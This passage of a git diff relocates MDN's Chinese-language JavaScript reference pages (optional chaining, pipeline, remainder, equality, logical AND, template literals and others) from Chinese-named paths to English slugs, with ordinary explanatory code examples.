如下的例子在一个不含 bar 成员的 Map 中查找 bar 成员的 name 属性,因此结果是 undefined

+ +
let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;
+ +

短路计算

+ +

当在表达式中使用可选链时,如果左操作数是 nullundefined,表达式将不会被计算,例如:

+ +
let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // x 将不会被递增,依旧输出 0
+
+ +

连用可选链操作符

+ +

可以连续使用可选链读取多层嵌套结构:

+ +
let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // details 的 address 属性未有定义
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … 可选链也可以和函数调用一起使用
+let duration = vacations.trip?.getTime?.();
+
+ +

使用空值合并操作符

+ +

{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}可以在使用可选链时设置一个默认值:

+ +
let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+let customerCity = customer?.city ?? "暗之城";
+console.log(customerCity); // “暗之城”
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}Stage 4
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.operators.optional_chaining")}}

+ +

Implementation Progress

+ +

The following table provides a daily implementation status for this feature because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in Test262, the standard test suite of JavaScript, in the nightly build, or the latest release of each browser's JavaScript engine.

+ +

{{EmbedTest262ReportResultsTable("optional-chaining")}}

+
+ +

参见

+ +
    +
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}
  • +
  • TC39 提案
  • +
diff --git a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html new file mode 100644 index 0000000000..06ce40ad0b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html @@ -0,0 +1,75 @@ +--- +title: 管道操作符 +slug: Web/JavaScript/Reference/Operators/管道操作符 +tags: + - Experimental + - JavaScript + - Operator + - 语法糖 + - 链式 + - 链式调用 +translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +--- +
{{jsSidebar("Operators")}} {{SeeCompatTable}}
+ +

试验性的管道操作符 |> (目前其标准化流程处于 stage 1 阶段)允许以一种易读的方式去对函数链式调用。本质上来说,管道操作符是单参数函数调用的语法糖,它允许你像这样执行一个调用:

+ +
let url = "%21" |> decodeURI;
+ +

使用传统语法写的话,等效的代码是这样的:

+ +
let url = decodeURI("%21");
+
+ +

语法

+ +
expression |> function
+ +

例子

+ +

函数链式调用

+ +

当链式调用多个函数时,使用管道操作符可以改善代码的可读性。

+ +
const double = (n) => n * 2;
+const increment = (n) => n + 1;
+
+// 没有用管道操作符
+double(increment(double(5))); // 22
+
+// 用上管道操作符之后
+5 |> double |> increment |> double; // 22
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
Pipeline operator draftStage 1Not part of the ECMAScript specification yet.
+ +

浏览器兼容性Edit

+ +
+ + +

{{Compat("javascript.operators.pipeline")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/remainder/index.html b/files/zh-cn/web/javascript/reference/operators/remainder/index.html new file mode 100644 index 0000000000..276296ccd7 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/remainder/index.html @@ -0,0 +1,81 @@ +--- +title: 取余 (%) +slug: Web/JavaScript/Reference/Operators/取余 +tags: + - JavaScript + - Language feature + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/Remainder +--- +
{{jsSidebar("Operators")}}
+ +

当一个操作数除以第二个操作数时,取余运算符(%)返回剩余的余数。它与被除数的符号保持一致。

+ +
{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}
+ +
+ + + +

语法

+ +
Operator: var1 % var2
+
+ +

示例

+ +

被除数为正数

+ +
 12 % 5  //  2
+ 1 % -2 //  1
+ 1 % 2  //  1
+ 2 % 3  //  2
+5.5 % 2 // 1.5
+
+ +

被除数为负数

+ +
-12 % 5 // -2
+-1 % 2  // -1
+-4 % 2  // -0
+ +

被除数为NaN

+ +
NaN % 2 // NaN
+ +

规范

+ + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.remainder")}}

+ +

相关链接

+ +
    +
+ + diff --git "a/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" "b/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" deleted file mode 100644 index 276296ccd7..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 取余 (%) -slug: Web/JavaScript/Reference/Operators/取余 -tags: - - JavaScript - - Language feature - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/Remainder ---- -
{{jsSidebar("Operators")}}
- -

当一个操作数除以第二个操作数时,取余运算符(%)返回剩余的余数。它与被除数的符号保持一致。

- -
{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}
- -
- - - -

语法

- -
Operator: var1 % var2
-
- -

示例

- -

被除数为正数

- -
 12 % 5  //  2
- 1 % -2 //  1
- 1 % 2  //  1
- 2 % 3  //  2
-5.5 % 2 // 1.5
-
- -

被除数为负数

- -
-12 % 5 // -2
--1 % 2  // -1
--4 % 2  // -0
- -

被除数为NaN

- -
NaN % 2 // NaN
- -

规范

- - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.remainder")}}

- -

相关链接

- -
    -
- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" "b/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" deleted file mode 100644 index da2f04c775..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: 可选链操作符 -slug: Web/JavaScript/Reference/Operators/可选链 -tags: - - '?.' - - JavaScript - - Optional chaining (?.) - - Reference - - 参考 - - 可选链 - - 语言特性 - - 运算符 - - 链式调用 -translation_of: Web/JavaScript/Reference/Operators/Optional_chaining ---- -
{{JSSidebar("Operators")}}
- -

可选链操作符( ?. )允许读取位于连接对象链深处的属性的值,而不必明确验证链中的每个引用是否有效。?. 操作符的功能类似于 . 链式操作符,不同之处在于,在引用为空(nullish ) ({{JSxRef("null")}} 或者 {{JSxRef("undefined")}}) 的情况下不会引起错误,该表达式短路返回值是 undefined。与函数调用一起使用时,如果给定的函数不存在,则返回 undefined

- -

当尝试访问可能不存在的对象属性时,可选链操作符将会使表达式更短、更简明。在探索一个对象的内容时,如果不能确定哪些属性必定存在,可选链操作符也是很有帮助的。

- -
{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}
- - - -

语法

- -
obj?.prop
-obj?.[expr]
-arr?.[index]
-func?.(args)
-
- -

描述

- -

通过连接的对象的引用或函数可能是 undefinednull 时,可选链操作符提供了一种方法来简化被连接对象的值访问。

- -

比如,思考一个存在嵌套结构的对象 obj。不使用可选链的话,查找一个深度嵌套的子属性时,需要验证之间的引用,例如:

- -
let nestedProp = obj.first && obj.first.second;
- -

为了避免报错,在访问obj.first.second之前,要保证 obj.first 的值既不是 null,也不是 undefined。如果只是直接访问 obj.first.second,而不对 obj.first 进行校验,则有可能抛出错误。

- -

有了可选链操作符(?.),在访问 obj.first.second 之前,不再需要明确地校验 obj.first 的状态,再并用短路计算获取最终结果:

- -
let nestedProp = obj.first?.second;
- -

通过使用 ?. 操作符取代 . 操作符,JavaScript 会在尝试访问 obj.first.second 之前,先隐式地检查并确定 obj.first 既不是 null 也不是 undefined。如果obj.first null 或者 undefined,表达式将会短路计算直接返回 undefined

- -

这等价于以下表达式,但实际上没有创建临时变量:

- -
let temp = obj.first;
-let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
- -

可选链与函数调用

- -

当尝试调用一个可能不存在的方法时也可以使用可选链。这将是很有帮助的,比如,当使用一个API的方法可能不可用时,要么因为实现的版本问题要么因为当前用户的设备不支持该功能。

- -

函数调用时如果被调用的方法不存在,使用可选链可以使表达式自动返回undefined而不是抛出一个异常。

- -
let result = someInterface.customMethod?.();
- -
-

注意: 如果存在一个属性名且不是函数, 使用 ?. 仍然会产生一个 {{JSxRef("TypeError")}} 异常 (x.y is not a function).

-
- -
-

注意: 如果 someInterface 自身是 null 或者 undefined ,异常 {{JSxRef("TypeError")}} 仍会被抛出 someInterface is null 如果你希望允许 someInterface 也为 null 或者 undefined ,那么你需要像这样写 someInterface?.customMethod?.()

-
- -

处理可选的回调函数或者事件处理器

- -

如果使用解构赋值来解构的一个对象的回调函数或 fetch 方法,你可能得到不能当做函数直接调用的不存在的值,除非你已经校验了他们的存在性。使用?.的你可以忽略这些额外的校验:

- -
//  ES2019的写法
-function doSomething(onContent, onError) {
-  try {
-    // ... do something with the data
-  }
-  catch (err) {
-    if (onError) { // 校验onError是否真的存在
-      onError(err.message);
-    }
-  }
-}
-
- -
// 使用可选链进行函数调用
-function doSomething(onContent, onError) {
-  try {
-   // ... do something with the data
-  }
-  catch (err) {
-    onError?.(err.message); // 如果onError是undefined也不会有异常
-  }
-}
-
- -

可选链和表达式

- -

当使用方括号与属性名的形式来访问属性时,你也可以使用可选链操作符:

- -
let nestedProp = obj?.['prop' + 'Name'];
- -

可选链不能用于赋值

- -
let object = {};
-object?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
- -

可选链访问数组元素

- -
let arrayItem = arr?.[42];
- -

例子

- -

基本例子

- -

如下的例子在一个不含 bar 成员的 Map 中查找 bar 成员的 name 属性,因此结果是 undefined

- -
let myMap = new Map();
-myMap.set("foo", {name: "baz", desc: "inga"});
-
-let nameBar = myMap.get("bar")?.name;
- -

短路计算

- -

当在表达式中使用可选链时,如果左操作数是 nullundefined,表达式将不会被计算,例如:

- -
let potentiallyNullObj = null;
-let x = 0;
-let prop = potentiallyNullObj?.[x++];
-
-console.log(x); // x 将不会被递增,依旧输出 0
-
- -

连用可选链操作符

- -

可以连续使用可选链读取多层嵌套结构:

- -
let customer = {
-  name: "Carl",
-  details: {
-    age: 82,
-    location: "Paradise Falls" // details 的 address 属性未有定义
-  }
-};
-let customerCity = customer.details?.address?.city;
-
-// … 可选链也可以和函数调用一起使用
-let duration = vacations.trip?.getTime?.();
-
- -

使用空值合并操作符

- -

{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}可以在使用可选链时设置一个默认值:

- -
let customer = {
-  name: "Carl",
-  details: { age: 82 }
-};
-let customerCity = customer?.city ?? "暗之城";
-console.log(customerCity); // “暗之城”
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}Stage 4
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.operators.optional_chaining")}}

- -

Implementation Progress

- -

The following table provides a daily implementation status for this feature because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in Test262, the standard test suite of JavaScript, in the nightly build, or the latest release of each browser's JavaScript engine.

- -

{{EmbedTest262ReportResultsTable("optional-chaining")}}

-
- -

参见

- -
    -
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}
  • -
  • TC39 提案
  • -
diff --git "a/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" "b/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" deleted file mode 100644 index 20eece2691..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 按位与 (&) -slug: Web/JavaScript/Reference/Operators/按位与 -translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND ---- -
{{jsSidebar("Operators")}}
- -

按位与运算符 (&) 在每个位上返回 1 ,这两个操作数对应的位都是 1.

- -
{{EmbedInteractiveExample("pages/js/expressions-bitwise-and.html")}}
- - - -

语法

- -
a & b
-
- -

描述

- -

操作数被转换为32位整数,并由一系列位(0和1)表示。 超过32位的数字将丢弃其最高有效位。 例如,以下大于32位的整数将被转换为32位整数:

- -
Before: 11100110111110100000000000000110000000000001
-After:              10100000000000000110000000000001
- -

第一个操作数中的每个位都与第二个操作数中的相应位配对:第一位到第一位,第二位到第二位,依此类推。

- -

将运算符应用于每对位,然后按位构造结果。

- -

与运算的真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba AND b
000
010
100
111
- -
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

将任何数字x0进行按位与运算将得出0

- -

示例

- -

使用按位与

- -
// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-5 & 2; // 0
- -

规范说明

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-BitwiseANDExpression', 'Bitwise AND expression')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.bitwise_and")}}

- -

参阅

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" deleted file mode 100644 index 6da432b4e6..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 相加运算符 (+) -slug: Web/JavaScript/Reference/Operators/相加 -translation_of: Web/JavaScript/Reference/Operators/Addition ---- -
{{jsSidebar("相加运算符")}}
- -

相加运算符 (+) 用于对两个操作数进行相加运算,如果操作数为字符串则该运算符将两个操作数连接成一个字符串。

- -
{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
- -
- - - -

语法

- -
表达式: x + y
-
- -

示例

- -

数字的相加运算

- -
// Number + Number -> addition
-1 + 2 // 3
-
-// Boolean + Number -> addition
-true + 1 // 2
-
-// Boolean + Boolean -> addition
-false + false // 0
-
- -

字符串相加运算

- -
// String + String -> concatenation
-'foo' + 'bar' // "foobar"
-
-// Number + String -> concatenation
-5 + 'foo' // "5foo"
-
-// String + Boolean -> concatenation
-'foo' + false // "foofalse"
- -

注: '+'两侧只要有一侧是字符串,另一侧的数字则会自动转换成字符串,因为其中存在隐式转换

- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.addition")}}

- -

参考

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" deleted file mode 100644 index e100ec1d2d..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: 相等(==) -slug: Web/JavaScript/Reference/Operators/相等 -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Operators/Equality ---- -
{{jsSidebar("Operators")}}
- -

等于运算符(==)检查其两个操作数是否相等,并返回Boolean结果。与严格相等运算符(===)不同,它会尝试强制类型转换并且比较不同类型的操作数。

- -
{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}
- -

语法

- -
x == y
-
- -

描述

- -

相等运算符(==!=)使用抽象相等比较算法比较两个操作数。可以大致概括如下:

- -
    -
  • 如果两个操作数都是对象,则仅当两个操作数都引用同一个对象时才返回true
  • -
  • 如果一个操作数是null,另一个操作数是undefined,则返回true
  • -
  • 如果两个操作数是不同类型的,就会尝试在比较之前将它们转换为相同类型: -
      -
    • 当数字与字符串进行比较时,会尝试将字符串转换为数字值。
    • -
    • 如果操作数之一是Boolean,则将布尔操作数转换为1或0。 -
        -
      • 如果是true,则转换为1
      • -
      • 如果是 false,则转换为0
      • -
      -
    • -
    • 如果操作数之一是对象,另一个是数字或字符串,会尝试使用对象的valueOf()toString()方法将对象转换为原始值。
    • -
    -
  • -
  • 如果操作数具有相同的类型,则将它们进行如下比较: -
      -
    • Stringtrue仅当两个操作数具有相同顺序的相同字符时才返回。
    • -
    • Numbertrue仅当两个操作数具有相同的值时才返回。+0并被-0视为相同的值。如果任一操作数为NaN,则返回false
    • -
    • Booleantrue仅当操作数为两个true或两个false时才返回true
    • -
    -
  • -
- -

此运算符与严格等于===)运算符之间最显着的区别在于,严格等于运算符不尝试类型转换。相反,严格相等运算符始终将不同类型的操作数视为不同。

- -

例子

- -

没有类型转换的比较

- -
1 == 1;              // true
-"hello" == "hello";  // true
- -

与类型转换比较

- -
"1" ==  1;            // true
-1 == "1";             // true
-0 == false;           // true
-0 == null;            // false
-0 == undefined;       // false
-null == undefined;    // true
-
-const number1 = new Number(3);
-const number2 = new Number(3);
-number1 == 3;         // true
-number1 == number2;   // false
- -

对象比较

- -
const object1 = {"key": "value"}
-const object2 = {"key": "value"};
-
-object1 == object2 // false
-object2 == object2 // true
- -

比较字符串和String对象

- -

请注意,使用构造的字符串new String()是对象。如果将其中之一与字符串文字进行比较,则该String对象将被转换为字符串文字并对其内容进行比较。但是,如果两个操作数都是String对象,则将它们作为对象进行比较,并且必须引用相同的对象才能进行比较:

- -
const string1 = "hello";
-const string2 = String("hello");
-const string3 = new String("hello");
-const string4 = new String("hello");
-
-console.log(string1 == string2); // true
-console.log(string1 == string3); // true
-console.log(string2 == string3); // true
-console.log(string3 == string4); // false
-console.log(string4 == string4); // true
- -

比较日期和字符串

- -
const d = new Date('December 17, 1995 03:24:00');
-const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
-console.log(d == s);    //true
- -

技术指标

- - - - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}
- -

浏览器兼容性

- -

{{Compat("javascript.operators.equality")}}

- -

参见

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" deleted file mode 100644 index 06ce40ad0b..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: 管道操作符 -slug: Web/JavaScript/Reference/Operators/管道操作符 -tags: - - Experimental - - JavaScript - - Operator - - 语法糖 - - 链式 - - 链式调用 -translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator ---- -
{{jsSidebar("Operators")}} {{SeeCompatTable}}
- -

试验性的管道操作符 |> (目前其标准化流程处于 stage 1 阶段)允许以一种易读的方式去对函数链式调用。本质上来说,管道操作符是单参数函数调用的语法糖,它允许你像这样执行一个调用:

- -
let url = "%21" |> decodeURI;
- -

使用传统语法写的话,等效的代码是这样的:

- -
let url = decodeURI("%21");
-
- -

语法

- -
expression |> function
- -

例子

- -

函数链式调用

- -

当链式调用多个函数时,使用管道操作符可以改善代码的可读性。

- -
const double = (n) => n * 2;
-const increment = (n) => n + 1;
-
-// 没有用管道操作符
-double(increment(double(5))); // 22
-
-// 用上管道操作符之后
-5 |> double |> increment |> double; // 22
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
Pipeline operator draftStage 1Not part of the ECMAScript specification yet.
- -

浏览器兼容性Edit

- -
- - -

{{Compat("javascript.operators.pipeline")}}

-
- -

参见

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" "b/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" deleted file mode 100644 index f405740df3..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: 自减 (--) -slug: Web/JavaScript/Reference/Operators/自减 -tags: - - JavaScript - - 自减 - - 语法特性 - - 运算符 -translation_of: Web/JavaScript/Reference/Operators/Decrement ---- -
{{jsSidebar("Operators")}}
- -

 自减运算符(--) 将它的操作数减一,然后返回操作数.

- -
{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}
- -
- - - -


- 语法

- -
操作符: x-- or --x
-
- -

语法细节

- -

如果使用后缀式,即将操作符放在操作数的后面 (如,x--),运算会减一,然后返回减一之前的值。

- -

如果使用前缀式,即将操作符放在操作数的前面 (如,--x),运算会减一,然后返回减一之后的值。

- -

示例

- -

后缀式

- -
let x = 3;
-y = x--;
-
-// y = 3
-// x = 2
-
- -

前缀式

- -
let a = 2;
-b = --a;
-
-// a = 1
-// b = 1
-
- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-postfix-decrement-operator', '自减运算符')}}
- -


- 浏览器兼容性

- - - -

{{Compat("javascript.operators.decrement")}}

- -

相关链接

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" "b/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" deleted file mode 100644 index de38317f42..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: 逻辑与(&&) -slug: Web/JavaScript/Reference/Operators/逻辑和 -translation_of: Web/JavaScript/Reference/Operators/Logical_AND ---- -
{{jsSidebar("Operators")}}
- -

The logical AND (&&) operator (logical conjunction) for a set of operands is true if and only if all of its operands are true. It is typically used with {{jsxref("Boolean")}} (logical) values. When it is, it returns a Boolean value. However, the && operator actually returns the value of one of the specified operands, so if this operator is used with non-Boolean values, it will return a non-Boolean value.

- -
{{EmbedInteractiveExample("pages/js/expressions-logical-and.html", "shorter")}}
- - - -

Syntax

- -
expr1 && expr2
-
- -

Description

- -

If expr1 can be converted to true, returns expr2; else, returns expr1.

- -

If a value can be converted to true, the value is so-called {{Glossary("truthy")}}. If a value can be converted to false, the value is so-called {{Glossary("falsy")}}.

- -

Examples of expressions that can be converted to false are:

- -
    -
  • null;
  • -
  • NaN;
  • -
  • 0;
  • -
  • empty string ("" or '' or ``);
  • -
  • undefined.
  • -
- -

Even though the && operator can be used with operands that are not Boolean values, it can still be considered a boolean operator since its return value can always be converted to a boolean primitive. To explicitly convert its return value (or any expression in general) to the corresponding boolean value, use a double NOT operator or the {{jsxref("Global_Objects/Boolean/Boolean", "Boolean")}} constructor.

- -

Short-circuit evaluation

- -

The logical AND expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule:

- -

(some falsy expression) && expr is short-circuit evaluated to the falsy expression;

- -

Short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place). This happens because the value of the operator is already determined after the evaluation of the first operand. See example:

- -
function A(){ console.log('called A'); return false; }
-function B(){ console.log('called B'); return true; }
-
-console.log( A() && B() );
-// logs "called A" due to the function call,
-// then logs false (which is the resulting value of the operator)
-
- -

Operator precedence

- -

The following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).

- -
true || false && false      // returns true, because && is executed first
-(true || false) && false    // returns false, because operator precedence cannot apply
- -

Examples

- -

Using AND

- -

The following code shows examples of the && (logical AND) operator.

- -
a1 = true  && true       // t && t returns true
-a2 = true  && false      // t && f returns false
-a3 = false && true       // f && t returns false
-a4 = false && (3 == 4)   // f && f returns false
-a5 = 'Cat' && 'Dog'      // t && t returns "Dog"
-a6 = false && 'Cat'      // f && t returns false
-a7 = 'Cat' && false      // t && f returns false
-a8 = ''    && false      // f && f returns ""
-a9 = false && ''         // f && f returns false
- -

Conversion rules for booleans

- -

Converting AND to OR

- -

The following operation involving booleans:

- -
bCondition1 && bCondition2
- -

is always equal to:

- -
!(!bCondition1 || !bCondition2)
- -

Converting OR to AND

- -

The following operation involving booleans:

- -
bCondition1 || bCondition2
- -

is always equal to:

- -
!(!bCondition1 && !bCondition2)
- -

Removing nested parentheses

- -

As logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.

- -

The following composite operation involving booleans:

- -
bCondition1 || (bCondition2 && bCondition3)
- -

is always equal to:

- -
bCondition1 || bCondition2 && bCondition3
- -

Specifications

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-LogicalANDExpression', 'Logical AND expression')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.operators.logical_and")}}

- -

See also

- -
    -
  • {{jsxref("Boolean")}}
  • -
  • {{Glossary("Truthy")}}
  • -
  • {{Glossary("Falsy")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/reserved_words/index.html b/files/zh-cn/web/javascript/reference/reserved_words/index.html deleted file mode 100644 index 0d52110bfa..0000000000 --- a/files/zh-cn/web/javascript/reference/reserved_words/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Reserved Words -slug: Web/JavaScript/Reference/Reserved_words -translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords -translation_of_original: Web/JavaScript/Reference/Reserved_Words ---- -

 

- -

以下这些是ECMAScript规范已经规定的关键字,不能用作变量、函数名、过程、和对象名:

- - - -

以下是ECMAScript规定的保留字:

- -
    -
  • abstract
  • -
  • boolean
  • -
  • byte
  • -
  • char
  • -
  • class
  • -
  • const
  • -
  • debugger
  • -
  • double
  • -
  • enum
  • -
  • export
  • -
  • extends
  • -
  • final
  • -
  • float
  • -
  • goto
  • -
  • implements
  • -
  • import
  • -
  • int
  • -
  • interface
  • -
  • long
  • -
  • native
  • -
  • package
  • -
  • private
  • -
  • protected
  • -
  • public
  • -
  • short
  • -
  • static
  • -
  • super
  • -
  • synchronized
  • -
  • throws
  • -
  • transient
  • -
  • volatile
  • -
- -

请注意,虽然ECMA-262还没有正式规定,但是在Mozilla中const,export和import已经被作为保留字对待。

- - - -

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}

diff --git a/files/zh-cn/web/javascript/reference/statements/default/index.html b/files/zh-cn/web/javascript/reference/statements/default/index.html deleted file mode 100644 index 12e076166c..0000000000 --- a/files/zh-cn/web/javascript/reference/statements/default/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: default -slug: Web/JavaScript/Reference/Statements/default -tags: - - JavaScript - - Keyword -translation_of: Web/JavaScript/Reference/Statements/switch -translation_of_original: Web/JavaScript/Reference/Statements/default ---- -
{{jsSidebar("Statements")}}
- -
- -

default 关键字可以在 JavaScript 的两种情况下使用:在 {{jsxref("Statements/switch", "switch")}} ,或 {{jsxref("Statements/export", "export")}} 中。

- -

语法

- -

在{{jsxref("Statements/switch", "switch")}} 语句中使用:

- -
switch (expression) {
-  case value1:
-    //当表达式的值和value1匹配执行这里的语句
-    [break;]
-  default:
-    //当表达式的值没有匹配,执行这里的语句
-    [break;]
-}
- -

在{{jsxref("Statements/export", "export")}} 中使用:

- -
export default nameN 
- -

描述

- -

更多细节,参见

- -
    -
  • {{jsxref("Statements/switch", "switch")}} 语句和
  • -
  • {{jsxref("Statements/export", "export")}} 语句页面。
  • -
- -

示例

- -

switch语句中使用default

- -

在以下示例中,如果expr为“Oranges”或“Apples”,程序将匹配“Oranges”或“Apples”的值并执行相应的声明。在任何其它情况下,default关键字将执行关联的语句。

- -
switch (expr) {
-  case "Oranges":
-    console.log("Oranges are $0.59 a pound.");
-    break;
-  case "Apples":
-    console.log("Apples are $0.32 a pound.");
-    break;
-  default:
-    console.log("Sorry, we are out of " + expr + ".");
-}
- -

export语句中使用default

- -

如果要导出单个值或需要模块的回调值,则可以使用默认导出: 

- -
// module "my-module.js"
-let cube = function cube(x) {
-  return x * x * x;
-}
-export default cube;
-
- -

然后,在另一个脚本中,默认导出将直接被导入:

- -
// module "my-module.js"
-import myFunction from 'my-module';
-console.log(myFunction(3)); // 27
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}}
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}}
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- - - -

{{Compat("javascript.statements.default")}}

- -

See also

- -
    -
  • {{jsxref("Statements/export", "export")}}
  • -
  • {{jsxref("Statements/switch", "switch")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/template_literals/index.html b/files/zh-cn/web/javascript/reference/template_literals/index.html new file mode 100644 index 0000000000..aec3adfb5b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/template_literals/index.html @@ -0,0 +1,261 @@ +--- +title: 模板字符串 +slug: Web/JavaScript/Reference/template_strings +tags: + - ECMAScript6 + - JavaScript + - Template string + - 模板字符串 +translation_of: Web/JavaScript/Reference/Template_literals +--- +
{{JsSidebar("More")}} 
+ +

模板字面量 是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。它们在ES2015规范的先前版本中被称为“模板字符串”。

+ +

语法

+ +
`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`
+
+ +

描述

